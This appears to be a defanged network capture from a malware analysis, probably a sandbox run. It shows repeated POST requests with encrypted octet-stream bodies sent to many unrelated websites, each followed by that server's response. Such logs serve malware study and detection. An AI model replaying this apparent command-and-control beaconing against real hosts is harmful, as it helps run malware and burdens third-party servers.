HSQIr0UCcYQYazDP4YhiENzbK3fGckZIDFoIqIHhujnw7nMaHiSONz/QTK7e06sL

qjW5tJcrnvq7g ZYra7oVv5gnWTFGoLkvLzB11Z87LHeLT3ODBmxMU9P1bLxtNwp

I5BPmfN6gPsDIR9yJnRU9CZj4LolvYDinkwe1MC1HeSnx8Y7cO02gRiPcg4jS1JB

Tmotkr0O1W/xoQLBTBSvdvLHeRldGL5p2OCfxBEGwJWl1saR/nZ3pnLDxN8jKJLK

sIAf1NFJI2e06S/Rsauz3IaNqAaFDaSk/fURfNtmqcyJtjcR4eGymptfvp37cSNd

b/D oyIKwNwlwgiRothwHPpdiV6iZZTD 2cX3lx0Eqwynu3snYYwAGhAbXvc3eYF

IHuHYkIxsrH/YjPRSDNtIMp2KQ==

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:21 GMT

Last-Modified: Fri, 18 Mar 2011 20:51:09 GMT

Content-Length: 15190

Content-Type: text/html

Set-Cookie: TS0194eee0=015f7adc7697497a8b158dea6f56f4f48d3ed4cf039500e975d0f5ae3334ac71e4c186338e; Path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml">.<head>.<META NAME="TITLE" CONTENT="GFM-Gripflow Manufacturing">.<META NAME="DESCRIPTION" CONTENT="GFM Corporation is a highly-qualified manufacturer serving a diverse set of industrial product applications within automotive, office furniture and other industries.">.<META NAME="KEYWORDS" CONTENT="GFM gripflow, grip flow, fineblanking, fine blanking precision stamping, metal stamping, fineblank, fine blank, GFM, gripflow manufacturing, grip flow manufacturing, automotive stamping">.<META NAME="OWNER" CONTENT="danielhoner@gfmcorp.com">.<META NAME="AUTHOR" CONTENT="GFM Corporation">.<META HTTP-EQUIV="EXPIRES" CONTENT="">.<META HTTP-EQUIV="CHARSET" CONTENT="ISO-8859-1">.<META HTTP-EQUIV="CONTENT-LANGUAGE" CONTENT="English">.<META HTTP-EQUIV="VW96.OBJECT TYPE" CONTENT="Document">.<META NAME="RATING" CONTENT="General">.<META NAME="ROBOTS" CONTENT="index,follow">.<META NAME="REVISIT-AFTER" CONTENT="1 weeks">.<title>GFM - Gripflow Manufacturing</title>.<style type="text/css">.td img {display: block;}..body_copy {..font-family: Verdana, Arial, Helvetica, sans-serif;..font-size: 10px;.}.body {..background-color: #CCCCCC;.}..style3 {color: #FF0000; font-weight: bold; }..style4 {..font-family: Verdana, Arial, Helvetica, sans-serif;..font-size: 9px;.}.<

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 562

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.6ml.net

Cache-Control: no-cache

pHfL7z43fkV8CjknCXXociHrDCv 4RlVUiudNV/VZsy59YFZh0DVimd84LaAWYkO

PuqNA6YghhdGOAh4xn6P8c0hrysdxW3wpYk0shcioBm6bYcgfPCQsMxT7rPEngFe

NN7EZyDACNanoTADhFCPRs XPlKo9AL9fJMb87To/njVXw1 zc7mSIb0ljHdCPle

35nDVI51ImEQ5IdiqrP82MFKlDwMH8dTf ISS35zY9Zeneiog6TOlmX/8hBSRkNy

TDqUjGVV0TJIIl17sN8p7nM03L8HoVB9NDJxfsU1BzNh9TOTkIbzCljVrMbuTaXa

rLl TvOJD4g70/9zqnYO33RU71ib3BveKXDkKCrvG9dkTbuzhA97jDiDLeQ4dHcL

TNJp3vEgur64/jUqK7vZjvI2nm3b4RtiRMSPCK4TfJ6USyClesgmdEdX3k3gyCbS

2yER/1XRohOH7Uxm 8E1mwipLmsbNAXwriU3 uzu72UfLLPLOnAIKFbC02mGIUwW

7PzocXDK6wyxVBDbXIxlRdsf6DWnbg==

HTTP/1.1 302 Found

Date: Thu, 23 Jul 2015 22:26:06 GMT

Server: Apache

Location: hXXp://fan.xrea.org/

Content-Length: 204

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://fan.xrea.org/">here</a>.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 574

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.msvie.com

Cache-Control: no-cache

kHGqzSL5KUXKxoXqlSYmzaXa/ZKyI6j/drmfqh87baDyZuPrhu0L1VcnYcLYkvBK

Ux9S2iiFw33MWo5kReEoafn ml8HGVapSADh7f8w7kzU8055F1x9QyZipb2Te8nb

rV1KCqmQ50urSIRXwI29drFwUidkS7zp/2akPitkYLmDoEu6Sx3Buj q6ACzWd8j

vr0vJXUTBG7qYAf0Ojt9RJGgAXN7MguFkxPGAzj4pOX19/vhMsvpTnQYJww/pfZx

kovxiFTgwtZ/Xwip1P5FmxEuLt7xy5KydAIyQj9O5ayJH KOJoh8WkCUaLEUWfBv

rkmoo3yWE9sSUryNTtTocbwbodeuSKSQDxYxs1qtryjl6pzVKqBU3iNdtQhLdpMb

w2dgO/qHpdMr9XdBI8podpjnloVp5k56S6W9nO4b1dynY0RGxZAbtrckyl/ZmWd1

gvlgDQJ334B9v6 Zx/GylCUgGerS09wGRT0EpuUmDWev0w7j9l3H8obtNEgG1PR7

l620JwPYeWnpQpGahfTcKLX0oVg2yOF6vIVFTbq7/A==

HTTP/1.1 302 D.plac. Temporairement

Date: Thu, 23 Jul 2015 22:55:09 GMT

Server: Apache/1.3.37 (Unix) mod_jk/1.2.15 mod_gzip/1.3.19.1a mod_ssl/2.8.28 OpenSSL/0.9.6m

Set-Cookie: JSESSIONID=467DEAC3520498F5F0DA471EA2D35562; Path=/

Location: hXXp://VVV.msvie.com/web/accueil.do;jsessionid=467DEAC3520498F5F0DA471EA2D35562

Content-Length: 0

Connection: close

Content-Type: text/html;charset=ISO-8859-1

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 550

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.bd-style.com

Cache-Control: no-cache

nxE5vQxO1kTBz3wUd7GVvR/9dePkswC3APh0WOz12V2q7X9cMaw/1bE2gmlsqSYr

AkzmT5hy4/pILXUAFseqD7dlstRsb6biXyDeDNJE aTqa7szA9dk6gzqAdDiCI2k

wMhatuc/H0SWCVsB7Ov5wer9o2o8nReXgpumD4k3rxdoBF6wInm NIT8ynPqYr/v

hr yrWBNHm0BSWmIBDx 2OVIW1EjSK LkL1jkNyonuPxDN Icsdb6LGycNlDzEZ

XBfEv68GQcjR8gaE/oxM9ZFZgvDYShK34C7G4i oUcmDVlqKqNZk4EjQg/qhDuT9

w2mzf1LabYAqEZCi/9N3 09LwtOxiZt4PoDf37v5CLDoxNmB6UOlG5GiuTXXTqi

p9oXHY2DQZum1hR8YAuScU0/m1OF2VTMgx dMPWigfqZAyPJNzjjh4/jx vkJXEg

kv0I2uQ4k8fqpehfSTljhquG7uM925HQlyZxMwF1LWRSFNlp qO6PN5jYG/0JA4W

i1JQ8jJedrzDGzpDMQ==

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:26:03 GMT

Server: Apache

Last-Modified: Fri, 11 May 2012 19:28:39 GMT

Vary: Accept-Encoding,User-Agent

Content-Length: 23037

Connection: close

Content-Type: text/html

<html>.<head>.<title>._.C.G.b.g.H.i..._.C.G.b.g.E.X.^.C..</title>.<meta name="keywords" content=".Z...~.h,DHC,.V......,.V.... ._.C.G.b.g,._.C.G.b.g.H.i,._.C.G.b.g .H.i,.......S.A........,.N.`.R.~,...R.~,.....k,.....|,">.<meta name="description" content=".Z...~.h..dhc...T.v.......g...B.........B.V.......i.V.....j.E.......S.A.........A.....|.A._.C.G.b.g.H.i...l.C.......i.....e.....N.....A...R.~.i.N.`.R.~.j.......k.......B">..<Meta name="robots" content="index,follow">.<meta http-equiv="Content-Type" content="text/html; charset=shift_jis">.<link href="css/css.css" rel="stylesheet" type="text/css">.<style type="text/css">.<!--..style2 {..color: #FF0000;..font-weight: bold;.}..style4 {color: #FF0000}.-->.</style>..<script type="text/javascript" charset="UTF-8" src="//cache1.value-domain.com/xrea_header.js" async="async"></script>.</head>..<body>.<h1><strong>._.C.G.b.g.H.i</strong>...r...[.e.B.[._.C.G.b.g.X.^.C..</h1>.<div align="center"><img src="img/logo200606.png" width="750" height="100"><br>.<br>.<table width="750" border="1" bordercolor="#FF00FF">.<tr bordercolor="#FFFFFF">.<td valign="top" class="yasuko_text">. ..<h2><strong>._.C.G.b.g.H.i.....T........</strong></h2>............@.f.....D...V...b.v...f.............."...S"...................B.<br>.<br>..E<strong>._.C.G.b.g.H.i</strong>.......

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 542

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.worms.com

Cache-Control: no-cache

HKHItPWcKkHgL5WLXIkP2u7QcfWDi5im eiK1EWiRjRg6/1snwLAngfdD7j1p7Uo

5hYt kwLiHw 5EaP4Ysm8rWronW9rg ka/Vr3YsvXXnh ri9HzJyR7eZZgVDJY1D

KFnFlbQ8M3r5A26PTxpO//3UIwDLIvhS6RyQoU5gs9nwr2/Z/D AsMjsJ5PrWyie

FjE60vQJaVlejbvTF6XMLdzTQBKmHwlGc2Us8T2Dt 4rOayNypQ6OqtGJu4rETRy

uaMMmJNr7YZ43p1am75nJnHT 5vlHf/lekaRTUy3f pkBdvTgOaIe6BHoIz2E0bc

vsWN0IY177a8GnnKSRpsi0qGpswMiBPoFQUadGqbY6ygc4MPb9hTpjXChUEkEZpk

csJe2PGwTaI4V/oAseb6tGzd KrIxWNXcAPlWjYRkbU44wrk0CQ1BRtowMjJOMS

PQQ97jVYscWCPsFTpd/hwcewKv/unDssNtQqBysb1AUf9o2AqkPQBElW5iziXccv

luhgTqrSWJBh

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 23 Jul 2015 22:25:46 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Sorting-Hat-PodId: 2

X-Sorting-Hat-ShopId: 8994814

X-Sorting-Hat-PodId-Cached: 1

X-Sorting-Hat-ShopId-Cached: 1

Vary: Accept-Encoding

Status: 404 Not Found

X-XSS-Protection: 1; mode=block; report=/xss-report/6df00628-af68-4da4-a50e-a6945394779d?source[action]=not_found&source[controller]=shop_area&source[section]=storefront

X-Content-Type-Options: nosniff

X-ShopId: 8994814

X-ShardId: 2

Content-Language: en

Cache-Control: no-cache, no-store

Set-Cookie: _session_id=65110f27d0d2960ab79c1f681a8db758; path=/; HttpOnly

X-Request-Id: 6df00628-af68-4da4-a50e-a6945394779d

d71..<!DOCTYPE html>.<!--[if lt IE 7]> <html class="no-js lt-ie10 lt-ie9 lt-ie8 lt-ie7 ie6"> <![endif]-->.<!--[if IE 7]> <html class="no-js lt-ie10 lt-ie9 lt-ie8 ie7"> <![endif]-->.<!--[if IE 8]> <html class="no-js lt-ie10 lt-ie9 ie8"> <![endif]-->.<!--[if IE 9]> <html class="no-js lt-ie10 ie9"> <![endif]-->.<!--[if gt IE 9]><!--> <html class="no-js"> <!--<![endif]-->.<head>.. <meta charset="utf-8">. <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">.. <title>. 404 Not Found.. .. .. . – Worms.com - LIVE Worms for sale!. . </title>.. .. <meta name="viewport" content="width=device-width" />. <link href="//cdn.shopify.com/s/files/1/0899/4814/t/4/assets/favicon.ico?13049864121074262022" rel="shortcut icon" />.. <!-- Fonts. ///////////////////////////////////////// -->.. <script src="//ajax.googleapis.com/ajax/libs/webfont/1.4.7/webfont.js"></script>. <script>.. var googleFonts = [];.. . .. . .. . .. . . googleFonts.push('Source Sans Pro:400,600,700,400italic,600italic,700italic');. .. . . googleFonts.push('Arvo:400,700,400italic,700italic');. .. if (googleFonts.length) {. WebFont.load({. google: {. families: googleFonts. }. });. }.. </script>.. <!-- Theme CSS. ///////////

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 594

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.wigor.com.pl

Cache-Control: no-cache

lAuWbg2ezDtO9TrehCgRPMYpCQh7HsaSkTehVZgZX7liaLI9c0ktGx8V8EtOSRBQ

urL4gm6cs1sj 2Hgv7Dtt5y8HOY7ZpPseKJQxzP1fXUlWOVDySq4J06yLJja9T7Y

7bm54mS4KznoNuB NUEvkutSpnD5ZyfFffjEKI3ObQsL0h9GDvXA8FynTm5JVcnm

AO8aXQobK sJF7N DkUjTUVRROuO1b10V/oqpQOMKHKOwzNBEFI1MsmIkEQ5/IMn

nUbTb3MV 2tXXsBHD5AlBdOiCRdzCrbZS7Z2cpMTI7HjXOOymiZtW6ynLSdqMaYm

MCCUUk00SPyD3KSSEo6NT kINI4g0/ANsH503cD8Tzr2E8hGA/dKxKuAjAhRVgcb

pAZeXdmtdDg1HdHPga2BF6dwlRL3i0QGc2S Bf/eJa5 a8T zPFp7qfv X4Y7kNm

W4yseC7GXo7dhd8juM72BEL1D5kT44m8wx9HBWEr8PRp8Hx0e31m54x0uRqXgLt3

8meJyhPq9gpd4bb/4U3EtZ QviLeIYoipphcSLjix9Ba6BPIckS47NhZYwTBRo=

HTTP/1.1 302 Found

Date: Thu, 23 Jul 2015 22:11:32 GMT

Server: Apache/2.2.23 (Fedora)

X-Powered-By: PHP/5.4.17

Location: _page/index.php

Content-Length: 0

Connection: close

Content-Type: text/html

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 570

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.kp2i.com

Cache-Control: no-cache

v4rA4GaMbkE1ArEwAbjyUImCDxRGwrb7 kZ8bQWq9HT8/HkiaWaUshO2kYFfPVCy

nM 5fwnUPXd2Pq5UKcPr92KIUrdiH4ZGMA907Osdc/wEwFw7V1xDN5BtgayZjZQf

dzS9gXPiAbyVov 8PQDR j9IZxWmYHemi IkB2Xcrh5q779uABqpVTItKZD9Mgyp

tYvDfxvJZBeACnraYTrLUPEhCQbFifuMOvUchf WhuxW/xbpRfEFn 8vM7ul9eN8

X2MOI8QLr2bheAefAq6VhZ9HIU97O9kATmE8f3mbpNzLf0aHRWJBVeNGJna9La71

iJAbrbzstGUxea8QwLrSwJk6NfNEAuSso8pTzfadABb/KWCfomp uHw3DDQWE zY

3AM7BnieqyH/bNx1OhpgJMLu59AQGeXrecTsvfAGMJ1n8KbA24pqyPkmchZKi9 y

Oqwe/NurTw6ZvdTQxH3eLLVejb/X/oqB4makNFjRgDVcmJg40d0MRHA5/V2XVvuE

eyKqa6Zpzd/9PoKcFCgrgeQXTDeA9bfse59TcQ==

HTTP/1.1 200 OK

Set-Cookie: xxlplanBAK=R3174123473; path=/; expires=Thu, 23-Jul-2015 23:25:38 GMT

Content-Type: text/html; charset=UTF-8

Set-Cookie: xxlplan=R1719563998; path=/; expires=Thu, 23-Jul-2015 23:30:20 GMT

Server: Apache

X-Pingback: hXXp://VVV.kp2i.com/xmlrpc.php

Cache-Control: max-age=7200

Expires: Fri, 24 Jul 2015 00:25:47 GMT

Vary: Accept-Encoding

Transfer-Encoding: chunked

Date: Thu, 23 Jul 2015 22:25:47 GMT

Connection: keep-alive

X-Geo: varn14.rbx5

X-Geo-Port: 1007

X-Cacheable: Cacheable

0049b9..<!DOCTYPE html>..<!--[if IE 6]>..<html id="ie6" lang="fr-FR">..<![endif]-->..<!--[if IE 7]>..<html id="ie7" lang="fr-FR">..<![endif]-->..<!--[if IE 8]>..<html id="ie8" lang="fr-FR">..<![endif]-->..<!--[if !(IE 6) | !(IE 7) | !(IE 8) ]><!-->..<html lang="fr-FR">..<!--<![endif]-->..<head>..<meta charset="UTF-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0">..<title>Kp2i, SSII et Cabinet de Conseil sp..cialis.. Web et E-Commerce</title>..<link rel="alternate" type="application/rss xml" href="hXXp://VVV.kp2i.com/?feed=jobman" title="Kp2i : recrutements">..<link rel="alternate" type="application/rss xml" href="hXXp://VVV.kp2i.com/?feed=rss" title="Kp2i : actualit..s">..<link rel="profile" href="hXXp://gmpg.org/xfn/11" />..<link rel="stylesheet" type="text/css" media="all" href="hXXp://VVV.kp2i.com/wp-content/themes/kp2i/style.css" />..<link rel="pingback" href="" />..<meta name="google-site-verification" content="tNOpDaDdDnNTx7rw80R3Oi7s846GI2qYfIwhY5IHD18" />..<!--[if lt IE 9]>..<script src="hXXp://VVV.kp2i.com/wp-content/themes/kp2i/js/html5.js" type="text/javascript"></script>..<![endif]-->...<!-- All in One SEO Pack 2.2.7.1 by Michael Torbert of Semper Fi Web Design[388,428] -->.<meta name="description" content="Aupr..s des Directions Marketing, Communication et Informatique, Kp2i intervient

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 574

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.arit.cz

Cache-Control: no-cache

5Ln2mhf0OEWR40W8BoLTR2CSqedNhgqpO/FbcgESMAE6g7G6NVV60vFe2zh0ggkf

xEcBC7rpVJYoyRQEyYNmJJvTsg6eG76/IrVJHgdh4MJV PFaLPMZJBhMuaCNge4a

ZvXOiBlniFx/bVTbzzsIW/jpgecaKkq32XSWad9JKtXSwZeft4gma1iJBLZ3HP6f

OCofy/RBp81NiBHgi brMT/AKIwGlwHW5hTpuFkWvmEVSflcAVDensHELlynKEhx

bLptRXK ndd/GBoeJThdSMVEFKWafGzKgaapaWDxz551WQMWUl1Y9pUhXE80kfDK

YKt54IfGzoIvL2I2erlm74Lwa7JY5qoTCXIYVDBtuSlDidH/NcCSs8UP5B/MFfvy

exdBBFh0xJf9PQo5oB0kJttnJilMt6YzZ1EjPBvxIs5aOaxAJN66zQCJySXdIy15

ALzLgnmGMOI6siYpTI3F3VWIMuS3JCNwQwXQcdwRpccK2vvwKqKMpZd9QtBTvEHq

fes TKj0/MApMhPV7AYVlXvsnjNzqMpCluKO1w45itE=

HTTP/1.0 403 Forbidden

Date: Thu, 23 Jul 2015 22:26:05 GMT

Server: Apache/2.4.6 (CentOS) PHP/5.4.41

X-Powered-By: PHP/5.4.41

Cache-Control: max-age=172800

Expires: Sat, 25 Jul 2015 22:26:05 GMT

Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 542

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.sa-girl.net

Cache-Control: no-cache

zh5g2wCGvzuHIDt908GMqjOd59zonIFJNJ1eqqKXOk8jzgHDfQx4yraX1bmwYPWD

HoB/zdI04g8qKK7aHcQjgrZW2vED8/WtFR0nv8rYOQthgmgUAu2jBiTfknxfo sY

swsfsNyQPX/vx2/SSw8h6qwsbKtwbRsWINKW92UTOxHYZSpUstDAklW/rJwiowAu

BS5z6jZwGDed8OBOMaKXMapOU0WnuWqV0p0QWWSIXTOp8FBMkfReIoPhgTHWVVFS

WJ7JYfwbRAw1io3w6cBheOnojJ3WgiEWhHhRjfnUHizgYgLXJivHLaA4Sf5UfDaP

ehuWLEwhkkPh BNQtfmKe38fUtpjzSlYqH19cII2q7CdPu6byBfblvcGJa9T5VK

Q1/usnxMK tPslkRwLBYoq9/ZHOj3NRGUw1xJqIqpKkfaVCD3o0xrL5CDCPqTv/R

m7w wjsdptkZvUpLpD9SPhh7TllszHWVETAyq0hBpTjYQjUhgQ0OHYQ hh4tJ4VZ

JjWzm919XQne

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:19 GMT

Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_auth_passthrough/2.1 mod_fcgid/2.3.9

Last-Modified: Tue, 03 Feb 2015 12:23:00 GMT

ETag: "1284071-559c-50e2e21afb100"

Accept-Ranges: bytes

Content-Length: 21916

Content-Type: text/html

<table border="0" cellpadding="0" cellspacing="0" width="100%" dir="rtl">...<tr>....<td><html dir="rtl">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">..<meta http-equiv="Content-Language" content="ar-sa">..<title>..... , ... , ... ........ , ..... ...... . .... .......... ........, ... .......... ... .... ..... ....</title>..<meta name="keywords" content="Sa-Girl.net ................... ... .............. ... .............. ............ .... .............. ........ ........ .... ............... .......... ............. .... .............. .... ............. ............ ................... .......... ............. ... ............ ...... ..... . ... ... ........ - .... ........ ... ... ........ . ..... ... .... ........ , ... ..... , ... ...... , ... ..... , ... .... , ... ....... ... ..... ,... ..... . ... .... ,..., ..., ...., ....., ..., ... ....., ... ....., ... ....., ... ....., ... ...., ... ..... ... ........ ... ... ... ... ... ...... ... ...... ... ......">..<meta name="description" content="Sa-Girl.net ................... ... .............. ... .............. ............ .... .............. ........ ........ .... ............... .......... ............. .... .............. .... ............. ............ ................... .......... ............. ... ............ ...... ..... . ... ... ........ - .... ........ ... ... ........ . ..... ... .... ........ , ... ..... , ... ...... , ... .....

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 600

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.aiglon.ch

Cache-Control: no-cache

jYL v5ryxjs14iifvaE8O92qhSSKRvzVbhZbICk7/NPG9T8ZyL4oKHsGoShVMUtm

lZfudwvTYUj4tT Yyy pX8SePKF3rJkRBbpIw9iOsFsWNfTGDj9r/Ai2rUWu16KA

maCt8sMqNuAkaLT/TbNSB8Pe7YpFpeft A 4xxKn5Y6gJgBQ1z5yoLpP4w68DXfq

ZdSxmgpW5UQ4/bkEoloUjEIbMvKG675b0Dxr6qiDYaHsYBJ8bq8mCUZW0EPbOk6T

zafwPzelzp LDGwAIFZQMgkhsxtZTlvWDIZ0CO7XXkvpm1npHBRaEoDn gm/paqi

07i5j4ZIXxblxJApYzYgkqeQdhvekGW4guPnaDgYnRBORbpAjpasuyX6AIyjSQ8u

WOoY0A1g9bkCPZ27bw4f0CxnOGEK BOTYLOgwXCkYD4bhkuyiaY0Sdu/uw4qemVG

zPu1Gc d3QFzbX7LkHa8qiSDH08BINxZUM9sxa7NaG1EIm36KFtPrk/rLEHlS9pn

b4BwoIrJlljoJWl31CcoLw0ZZRw96JdaukPUkX1JDa0l3fGLkUrlShn2Td6wIwgx

mfw=

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:20 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d3a605bd8db91af53b57b6c0f1f1569731437690320; expires=Fri, 22-Jul-16 22:25:20 GMT; path=/; domain=.aiglon.ch; HttpOnly

X-Frame-Options: SAMEORIGIN

Server: cloudflare-nginx

CF-RAY: 20aaccf91ea60461-FRA

15f0..<!DOCTYPE html>.<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->.<!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->.<!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->.<!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->.<head>.<title>Attention Required! | CloudFlare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />.<!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]-->.<style type="text/css">body{margin:0;padding:0}</style>.<!--[if lte IE 9]><script type="text/javascript" src="/cdn-cgi/scripts/jquery.min.js"></script><![endif]-->.<!--[if gte IE 10]><!--><script type="text/javascript" src="/cdn-cgi/scripts/zepto.min.js"></script><!--<![endif]-->.<script type="text/javascript" src="/cdn-cgi/scripts/cf.common.js"&g

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 566

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.dujua.com.br

Cache-Control: no-cache

AQE6CmULG0BMQeJODMU1Yd74WuKz4sl6aU5PUUxpcqHoCfb6OhGewKgPdSPuciq1

Ca2oHo9g2ycVo 1SDAsBJ7Kxs3E ec1MsAepf7c7ab066EXWaqp8ZRdfaHRm624F

8xyhI7J2AxFZF4Zf04Kf0FKERQMIwX5V8MXJ0JmYjM6ckF0OlXWAAou0rr3S3xW9

JAi2eLZK/w0V1btrC3 Wa7OLbnjGcVa7rg3mIzJgWGkBEzVHsEvoiRYJWTKHUn7B

S/0r32j2YArzxFQZf n9sKR/fXVGMSH5WWjvACHgdf VTGFnGalY6tQWslVisFdv

dEfway1/sG7T0wsL73ha7/1LJkHlY3gpYjqFrLg2oR1 8x2Qv8kkZpi/wiEPhzcN

tSSO9IiGvQx nqvuBoUtvDInpApzv265kOC6W3jgEOGhzSzaipQv3Ym8F13rZ1MS

5RYE3zlnQufVRUUzCw9PNsWRmM8cpnsthl4JOON2dzZi geIdwYbO1HUUa1QhQ7F

S1a6QWd8ouUbwW137M5pf2R2yZass/kIMg==

HTTP/1.1 301 Moved Permanently

Date: Thu, 23 Jul 2015 22:25:38 GMT

Server: Apache

Location: hXXp://google.com/

Content-Length: 226

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXp://google.com/">here</a>.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 562

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.corex.de

Cache-Control: no-cache

K0eecKif5TtX9X9pa/4cXBvtBlywG5cFXP2BKZfuAHZjkYnncnvNYlTxCVHx 1/4

E8HsNjcNTGlu7EIiVv38iJ22Nn/t6GEE3DZS8aKZFYixZL8xLtY2fFs8lz/FNqI8

ut8F6kXcDiTEMX4 foIRTeFv6EtaZMW6UcJw5AOndD Z5zp9/E3EOTDn0MAHmDmM

5DS9Q91Ijbnn NOJrNsSWMJFCJ2/quSis7ijNDH3Qh1eqi8ukUm7wN2g1zIRRcIG

c79HOe9Id5xShjDX3vnZUADyk/gNcNKGWl EEqK7JbcSqc6hRuhPpHPyehOqOowB

c8kgNl C2VH229GXCJBLQrfZJG2xjuJuxXXYHklfWPw8JwT7EXbUBnBmlDUELrIG

Cc9ATaZwhfju4PLXiL7txKcMR7rWCxN7OOrxdotuyBumMCRgVWUuUcFL8L8y8IEe

x57hhogzxR7yzAO3Ge5dVtBf5QtCNVkoAuq94TnFxQPJRxtF3w0IGNLUAOL5n5wT

7cG022PKWJUexQPAlVzq5ORTGmroVmD6

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:21 GMT

Server: Apache/2.2.22 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 280

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.<hr>.<address>Apache/2.2.22 (Ubuntu) Server at VVV.corex.de Port 80</address>.</body></html>.HTTP/1.1 403 Forbidden..Date: Thu, 23 Jul 2015 22:25:21 GMT..Server: Apache/2.2.22 (Ubuntu)..Vary: Accept-Encoding..Content-Length: 280..Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.<hr>.<address>Apache/2.2.22 (Ubuntu) Server at VVV.corex.de Port 80</address>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 550

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.afraxis.com

Cache-Control: no-cache

UlBSKonNd0VonVeH2PnJkaIWPHanmZ8xzfgMFVDmHuYwUxWoCItUvSWn2Yb2eqsb

GodmXfBAS3SJtn6a5 RkvzZyZbhEYK7GgxZ6q023eaKBbqKZCwbN A0PyuPDgR8R

kQpNXiYFXpJn546ITuSazLP HzCuAW0rkjh/mYQYgH 2aRWl34UeQJRfRHaBTR45

iUnUCfaQi6kP3tijmH9 Y1rDN0ziN3KlfTF4AswFRHXFl1Le9qRLS6BKE wnLxA2

